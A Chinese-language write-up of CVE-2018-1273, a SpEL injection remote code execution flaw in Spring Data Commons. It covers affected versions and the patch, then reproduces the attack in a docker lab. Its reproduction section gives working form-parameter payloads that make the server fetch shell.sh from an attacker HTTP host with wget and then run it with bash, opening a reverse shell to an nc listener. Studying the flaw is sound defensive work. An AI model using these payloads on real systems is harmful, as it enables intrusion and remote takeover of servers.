CVE-2018-1273
Spring Data Commons远程命令执行(CVE-2018-1273),当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容而产生漏洞
影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
漏洞分析
这里直接看补丁进行分析,这是一个spel表达式注入漏洞。补丁的内容如下:
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。
SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持。
漏洞复现
首先进入CVE-2018-1273的docker环境
访问http://192.168.1.10:8080/users并用bp抓包
这里随便填一下Username跟Password
生成一个shell.sh文件
用python起一个http服务,并构造payload下载shell.sh文件保存在/tmp/目录下,名称为1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.1.2:8000/shell.sh")]=111&password=111&repeated=111&Password=111
nc打开端口监听再构造payload进行命令执行即可收到反弹shell
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/1")]=111&password=111&repeated=111&Password=111